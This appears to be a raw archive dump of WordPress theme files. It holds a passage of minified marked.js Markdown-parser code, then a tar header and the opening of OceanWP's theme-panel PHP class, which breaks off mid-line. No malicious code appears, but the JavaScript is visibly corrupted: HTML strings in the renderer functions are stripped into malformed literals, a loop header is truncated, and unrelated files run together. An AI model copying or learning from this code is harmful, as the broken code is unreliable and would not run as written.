0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F-\u1049\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u1090-\u1099\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1369-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u17E0-\u17E9\u17F0-\u17F9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A20-\u1A54\u1A80-\u1A89\u1A90-\u1A99\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B50-\u1B59\u1B83-\u1BA0\u1BAE-\u1BE5\u1C00-\u1C23\u1C40-\u1C49\u1C4D-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2070\u2071\u2074-\u2079\u207F-\u2089\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2150-\u2189\u2460-\u249B\u24EA-\u24FF\u2776-\u2793\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2CFD\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3192-\u3195\u31A0-\u31BF\u31F0-\u31FF\u3220-\u3229\u3248-\u324F\u3251-\u325F\u3280-\u3289\u32B1-\u32BF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA830-\uA835\uA840-\uA873\uA882-\uA8B3\uA8D0-\uA8D9\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA900-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF-\uA9D9\uA9E0-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA50-\uAA59\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD07-\uDD33\uDD40-\uDD78\uDD8A\uDD8B\uDE80-\uDE9C\uDEA0-\uDED0\uDEE1-\uDEFB\uDF00-\uDF23\uDF2D-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC58-\uDC76\uDC79-\uDC9E\uDCA7-\uDCAF\uDCE0-\uDCF2\uDCF4\uDCF5\uDCFB-\uDD1B\uDD20-\uDD39\uDD80-\uDDB7\uDDBC-\uDDCF\uDDD2-\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE40-\uDE48\uDE60-\uDE7E\uDE80-\uDE9F\uDEC0-\uDEC7\uDEC9-\uDEE4\uDEEB-\uDEEF\uDF00-\uDF35\uDF40-\uDF55\uDF58-\uDF72\uDF78-\uDF91\uDFA9-\uDFAF]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDCFA-\uDD23\uDD30-\uDD39\uDE60-\uDE7E\uDE80-\uDEA9\uDEB0\uDEB1\uDF00-\uDF27\uDF30-\uDF45\uDF51-\uDF54\uDF70-\uDF81\uDFB0-\uDFCB\uDFE0-\uDFF6]|\uD804[\uDC03-\uDC37\uDC52-\uDC6F\uDC71\uDC72\uDC75\uDC83-\uDCAF\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD03-\uDD26\uDD36-\uDD3F\uDD44\uDD47\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDD0-\uDDDA\uDDDC\uDDE1-\uDDF4\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDEF0-\uDEF9\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC50-\uDC59\uDC5F-\uDC61\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE50-\uDE59\uDE80-\uDEAA\uDEB8\uDEC0-\uDEC9\uDF00-\uDF1A\uDF30-\uDF3B\uDF40-\uDF46]|\uD806[\uDC00-\uDC2B\uDCA0-\uDCF2\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD2F\uDD3F\uDD41\uDD50-\uDD59\uDDA0-\uDDA7\uDDAA-\uDDD0\uDDE1\uDDE3\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE89\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC50-\uDC6C\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD50-\uDD59\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDDA0-\uDDA9\uDEE0-\uDEF2\uDFB0\uDFC0-\uDFD4]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDE70-\uDEBE\uDEC0-\uDEC9\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF50-\uDF59\uDF5B-\uDF61\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE96\uDF00-\uDF4A\uDF50\uDF93-\uDF9F\uDFE0\uDFE1\uDFE3]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD834[\uDEE0-\uDEF3\uDF60-\uDF78]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD837[\uDF00-\uDF1E]|\uD838[\uDD00-\uDD2C\uDD37-\uDD3D\uDD40-\uDD49\uDD4E\uDE90-\uDEAD\uDEC0-\uDEEB\uDEF0-\uDEF9]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDCC7-\uDCCF\uDD00-\uDD43\uDD4B\uDD50-\uDD59]|\uD83B[\uDC71-\uDCAB\uDCAD-\uDCAF\uDCB1-\uDCB4\uDD01-\uDD2D\uDD2F-\uDD3D\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD83C[\uDD00-\uDD0C]|\uD83E[\uDFF0-\uDFF9]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A])/))){var r=n[1]||n[2]||"";if(!r||""===u||this.rules.inline.punctuation.exec(u)){var i,s=n[0].length-1,l=s,a=0,o="*"===n[0][0]?this.rules.inline.emStrong.rDelimAst:this.rules.inline.emStrong.rDelimUnd;for(o.lastIndex=0,t=t.slice(-1*e.length+s);null!=(n=o.exec(t));)if(i=n[1]||n[2]||n[3]||n[4]||n[5]||n[6])if(i=i.length,n[3]||n[4])l+=i;else if(!((n[5]||n[6])&&s%3)||(s+i)%3){if(!(0<(l-=i))){if(i=Math.min(i,i+l+a),Math.min(s,i)%2){var D=e.slice(1,s+n.index+i);return{type:"em",raw:e.slice(0,s+n.index+i+1),text:D,tokens:this.lexer.inlineTokens(D,[])}}D=e.slice(2,s+n.index+i-1);return{type:"strong",raw:e.slice(0,s+n.index+i+1),text:D,tokens:this.lexer.inlineTokens(D,[])}}}else a+=i}}},t.codespan=function(e){var t=this.rules.inline.code.exec(e);if(t){var u=t[2].replace(/\n/g," "),n=/[^ ]/.test(u),e=/^ /.test(u)&&/ $/.test(u),u=D(u=n&&e?u.substring(1,u.length-1):u,!0);return{type:"codespan",raw:t[0],text:u}}},t.br=function(e){e=this.rules.inline.br.exec(e);if(e)return{type:"br",raw:e[0]}},t.del=function(e){e=this.rules.inline.del.exec(e);if(e)return{type:"del",raw:e[0],text:e[2],tokens:this.lexer.inlineTokens(e[2],[])}},t.autolink=function(e,t){e=this.rules.inline.autolink.exec(e);if(e){var u,t="@"===e[2]?"mailto:"+(u=D(this.options.mangle?t(e[1]):e[1])):u=D(e[1]);return{type:"link",raw:e[0],text:u,href:t,tokens:[{type:"text",raw:u,text:u}]}}},t.url=function(e,t){var u,n,r,i;if(u=this.rules.inline.url.exec(e)){if("@"===u[2])r="mailto:"+(n=D(this.options.mangle?t(u[0]):u[0]));else{for(;i=u[0],u[0]=this.rules.inline._backpedal.exec(u[0])[0],i!==u[0];);n=D(u[0]),r="www."===u[1]?"http://"+n:n}return{type:"link",raw:u[0],text:n,href:r,tokens:[{type:"text",raw:n,text:n}]}}},t.inlineText=function(e,t){e=this.rules.inline.text.exec(e);if(e){t=this.lexer.state.inRawBlock?this.options.sanitize?this.options.sanitizer?this.options.sanitizer(e[0]):D(e[0]):e[0]:D(this.options.smartypants?t(e[0]):e[0]);return{type:"text",raw:e[0],text:t}}},e}(),$={newline:/^(?: *(?:\n|$))+/,code:/^( {4}[^\n]+(?:\n(?: *(?:\n|$))*)?)+/,fences:/^ {0,3}(`{3,}(?=[^`\n]*\n)|~{3,})([^\n]*)\n(?:|([\s\S]*?)\n)(?: {0,3}\1[~`]* *(?=\n|$)|$)/,hr:/^ {0,3}((?:- *){3,}|(?:_ *){3,}|(?:\* *){3,})(?:\n+|$)/,heading:/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,blockquote:/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/,list:/^( {0,3}bull)( [^\n]+?)?(?:\n|$)/,html:"^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n *)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n *)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n *)+\\n|$))",def:/^ {0,3}\[(label)\]: *(?:\n *)?]+)>?(?:(?: +(?:\n *)?| *\n *)(title))? *(?:\n+|$)/,table:E,lheading:/^([^\n]+)\n {0,3}(=+|-+) *(?:\n+|$)/,_paragraph:/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,text:/^[^\n]+/,_label:/(?!\s*\])(?:\\.|[^\[\]\\])+/,_title:/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/};$.def=p($.def).replace("label",$._label).replace("title",$._title).getRegex(),$.bullet=/(?:[*+-]|\d{1,9}[.)])/,$.listItemStart=p(/^( *)(bull) */).replace("bull",$.bullet).getRegex(),$.list=p($.list).replace(/bull/g,$.bullet).replace("hr","\\n+(?=\\1?(?:(?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$))").replace("def","\\n+(?="+$.def.source+")").getRegex(),$._tag="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|section|source|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",$._comment=/|$)/,$.html=p($.html,"i").replace("comment",$._comment).replace("tag",$._tag).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),$.paragraph=p($._paragraph).replace("hr",$.hr).replace("heading"," {0,3}#{1,6} ").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",$._tag).getRegex(),$.blockquote=p($.blockquote).replace("paragraph",$.paragraph).getRegex(),$.normal=b({},$),$.gfm=b({},$.normal,{table:"^ *([^\\n ].*\\|.*)\\n {0,3}(?:\\| *)?(:?-+:? *(?:\\| *:?-+:? *)*)(?:\\| *)?(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)"}),$.gfm.table=p($.gfm.table).replace("hr",$.hr).replace("heading"," {0,3}#{1,6} ").replace("blockquote"," {0,3}>").replace("code"," {4}[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",$._tag).getRegex(),$.gfm.paragraph=p($._paragraph).replace("hr",$.hr).replace("heading"," {0,3}#{1,6} ").replace("|lheading","").replace("table",$.gfm.table).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",$._tag).getRegex(),$.pedantic=b({},$.normal,{html:p("^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))").replace("comment",$._comment).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:E,paragraph:p($.normal._paragraph).replace("hr",$.hr).replace("heading"," *#{1,6} *[^\n]").replace("lheading",$.lheading).replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").getRegex()});var S={escape:/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,autolink:/^<(scheme:[^\s\x00-\x1f<>]*|email)>/,url:E,tag:"^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^",link:/^!?\[(label)\]\(\s*(href)(?:\s+(title))?\s*\)/,reflink:/^!?\[(label)\]\[(ref)\]/,nolink:/^!?\[(ref)\](?:\[\])?/,reflinkSearch:"reflink|nolink(?!\\()",emStrong:{lDelim:/^(?:\*+(?:([punct_])|[^\s*]))|^_+(?:([punct*])|([^\s_]))/,rDelimAst:/^[^_*]*?\_\_[^_*]*?\*[^_*]*?(?=\_\_)|[punct_](\*+)(?=[\s]|$)|[^punct*_\s](\*+)(?=[punct_\s]|$)|[punct_\s](\*+)(?=[^punct*_\s])|[\s](\*+)(?=[punct_])|[punct_](\*+)(?=[punct_])|[^punct*_\s](\*+)(?=[^punct*_\s])/,rDelimUnd:/^[^_*]*?\*\*[^_*]*?\_[^_*]*?(?=\*\*)|[punct*](\_+)(?=[\s]|$)|[^punct*_\s](\_+)(?=[punct*\s]|$)|[punct*\s](\_+)(?=[^punct*_\s])|[\s](\_+)(?=[punct*])|[punct*](\_+)(?=[punct*])/},code:/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,br:/^( {2,}|\\)\n(?!\s*$)/,del:E,text:/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\?@\\[\\]`^{|}~",S.punctuation=p(S.punctuation).replace(/punctuation/g,S._punctuation).getRegex(),S.blockSkip=/\[[^\]]*?\]\([^\)]*?\)|`[^`]*?`|<[^>]*?>/g,S.escapedEmSt=/\\\*|\\_/g,S._comment=p($._comment).replace("(?:--\x3e|$)","--\x3e").getRegex(),S.emStrong.lDelim=p(S.emStrong.lDelim).replace(/punct/g,S._punctuation).getRegex(),S.emStrong.rDelimAst=p(S.emStrong.rDelimAst,"g").replace(/punct/g,S._punctuation).getRegex(),S.emStrong.rDelimUnd=p(S.emStrong.rDelimUnd,"g").replace(/punct/g,S._punctuation).getRegex(),S._escapes=/\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/g,S._scheme=/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/,S._email=/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/,S.autolink=p(S.autolink).replace("scheme",S._scheme).replace("email",S._email).getRegex(),S._attribute=/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/,S.tag=p(S.tag).replace("comment",S._comment).replace("attribute",S._attribute).getRegex(),S._label=/(?:\[(?:\\.|[^\[\]\\])*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,S._href=/<(?:\\.|[^\n<>\\])+>|[^\s\x00-\x1f]*/,S._title=/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/,S.link=p(S.link).replace("label",S._label).replace("href",S._href).replace("title",S._title).getRegex(),S.reflink=p(S.reflink).replace("label",S._label).replace("ref",$._label).getRegex(),S.nolink=p(S.nolink).replace("ref",$._label).getRegex(),S.reflinkSearch=p(S.reflinkSearch,"g").replace("reflink",S.reflink).replace("nolink",S.nolink).getRegex(),S.normal=b({},S),S.pedantic=b({},S.normal,{strong:{start:/^__|\*\*/,middle:/^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/,endAst:/\*\*(?!\*)/g,endUnd:/__(?!_)/g},em:{start:/^_|\*/,middle:/^()\*(?=\S)([\s\S]*?\S)\*(?!\*)|^_(?=\S)([\s\S]*?\S)_(?!_)/,endAst:/\*(?!\*)/g,endUnd:/_(?!_)/g},link:p(/^!?\[(label)\]\((.*?)\)/).replace("label",S._label).getRegex(),reflink:p(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",S._label).getRegex()}),S.gfm=b({},S.normal,{escape:p(S.escape).replace("])","~|])").getRegex(),_extended_email:/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/,url:/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,_backpedal:/(?:[^?!.,:;*_~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])([\s\S]*?[^\s~])\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\'+(u?e:D(e,!0))+"\n":"

                    "+(u?e:D(e,!0))+"
                    \n"},t.blockquote=function(e){return"
                    \n"+e+"
                    \n"},t.html=function(e){return e},t.heading=function(e,t,u,n){return this.options.headerIds?"'+e+"\n":""+e+"\n"},t.hr=function(){return this.options.xhtml?"
                    \n":"
                    \n"},t.list=function(e,t,u){var n=t?"ol":"ul";return"<"+n+(t&&1!==u?' start="'+u+'"':"")+">\n"+e+"\n"},t.listitem=function(e){return"
                  • "+e+"
                  • \n"},t.checkbox=function(e){return" "},t.paragraph=function(e){return"

                    "+e+"

                    \n"},t.table=function(e,t){return"\n\n"+e+"\n"+(t=t&&""+t+"")+"
                    \n"},t.tablerow=function(e){return"\n"+e+"\n"},t.tablecell=function(e,t){var u=t.header?"th":"td";return(t.align?"<"+u+' align="'+t.align+'">':"<"+u+">")+e+"\n"},t.strong=function(e){return""+e+""},t.em=function(e){return""+e+""},t.codespan=function(e){return""+e+""},t.br=function(){return this.options.xhtml?"
                    ":"
                    "},t.del=function(e){return""+e+""},t.link=function(e,t,u){if(null===(e=F(this.options.sanitize,this.options.baseUrl,e)))return u;e='
                    "},t.image=function(e,t,u){if(null===(e=F(this.options.sanitize,this.options.baseUrl,e)))return u;u=''+u+'":">"},t.text=function(e){return e},e}(),O=function(){function e(){}var t=e.prototype;return t.strong=function(e){return e},t.em=function(e){return e},t.codespan=function(e){return e},t.del=function(e){return e},t.html=function(e){return e},t.text=function(e){return e},t.link=function(e,t,u){return""+u},t.image=function(e,t,u){return""+u},t.br=function(){return""},e}(),q=function(){function e(){this.seen={}}var t=e.prototype;return t.serialize=function(e){return e.toLowerCase().trim().replace(/<[!\/a-z].*?>/gi,"").replace(/[\u2000-\u206F\u2E00-\u2E7F\\'!"#$%&()*+,./:;<=>?@[\]^`{|}~]/g,"").replace(/\s/g,"-")},t.getNextSafeSlug=function(e,t){var u=e,n=0;if(this.seen.hasOwnProperty(u))for(n=this.seen[e];u=e+"-"+ ++n,this.seen.hasOwnProperty(u););return t||(this.seen[e]=n,this.seen[u]=0),u},t.slug=function(e,t){void 0===t&&(t={});e=this.serialize(e);return this.getNextSafeSlug(e,t.dryrun)},e}(),L=function(){function u(e){this.options=e||r.defaults,this.options.renderer=this.options.renderer||new Z,this.renderer=this.options.renderer,this.renderer.options=this.options,this.textRenderer=new O,this.slugger=new q}u.parse=function(e,t){return new u(t).parse(e)},u.parseInline=function(e,t){return new u(t).parseInline(e)};var e=u.prototype;return e.parse=function(e,t){void 0===t&&(t=!0);for(var u,n,r,i,s,l,a,o,D,c,h,p,f,g,F,A,d="",C=e.length,k=0;kAn error occurred:

                    "+D(e.message+"",!0)+"
                    ";throw e}}j.options=j.setOptions=function(e){return b(j.defaults,e),e=j.defaults,r.defaults=e,j},j.getDefaults=e,j.defaults=r.defaults,j.use=function(){for(var e=arguments.length,t=new Array(e),u=0;uAn error occurred:

                    "+D(e.message+"",!0)+"
                    ";throw e}},j.Parser=L,j.parser=L.parse,j.Renderer=Z,j.TextRenderer=O,j.Lexer=I,j.lexer=I.lex,j.Tokenizer=z,j.Slugger=q;var P=(j.parse=j).options,Q=j.setOptions,U=j.use,M=j.walkTokens,N=j.parseInline,X=j,G=L.parse,E=I.lex;r.Lexer=I,r.Parser=L,r.Renderer=Z,r.Slugger=q,r.TextRenderer=O,r.Tokenizer=z,r.getDefaults=e,r.lexer=E,r.marked=j,r.options=P,r.parse=X,r.parseInline=N,r.parser=G,r.setOptions=Q,r.use=U,r.walkTokens=M,Object.defineProperty(r,"__esModule",{value:!0})});themepanel/theme-panel.php000064400000055054151551031110011600 0ustar00define_constants(); $this->init_general_part(); if ( $this->is_theme_panel() || wp_doing_ajax() ) { $this->init(); } add_action( 'wp_ajax_oceanwp_cp_fonts_clear', array( $this, 'clear_fonts' ) ); add_filter( 'oceanwp_theme_panel_panel_top_header', array( $this, 'panel_top_header' ) ); add_filter( 'oceanwp_tp_sidebar_warnings', array( $this, 'maybe_has_plugin_updates_warning' ) ); add_filter( 'oceanwp_theme_panel_sections', array( $this, 'control_theme_panel_sections' ), 9 ); } /** * Define constants. * * @since 1.0.0 */ public function define_constants() { if ( ! defined( 'OCEANWP_THEME_PANEL_DIR' ) ) { define( 'OCEANWP_THEME_PANEL_DIR', OCEANWP_THEME_DIR . '/inc/themepanel' ); } if ( ! defined( 'OCEANWP_THEME_PANEL_URI' ) ) { define( 'OCEANWP_THEME_PANEL_URI', OCEANWP_THEME_URI . '/inc/themepanel' ); } } /** * Safely define a constant. * * @since 1.0.4 * * @param string $name Constant name. * @param mixed $value Define value. */ public function 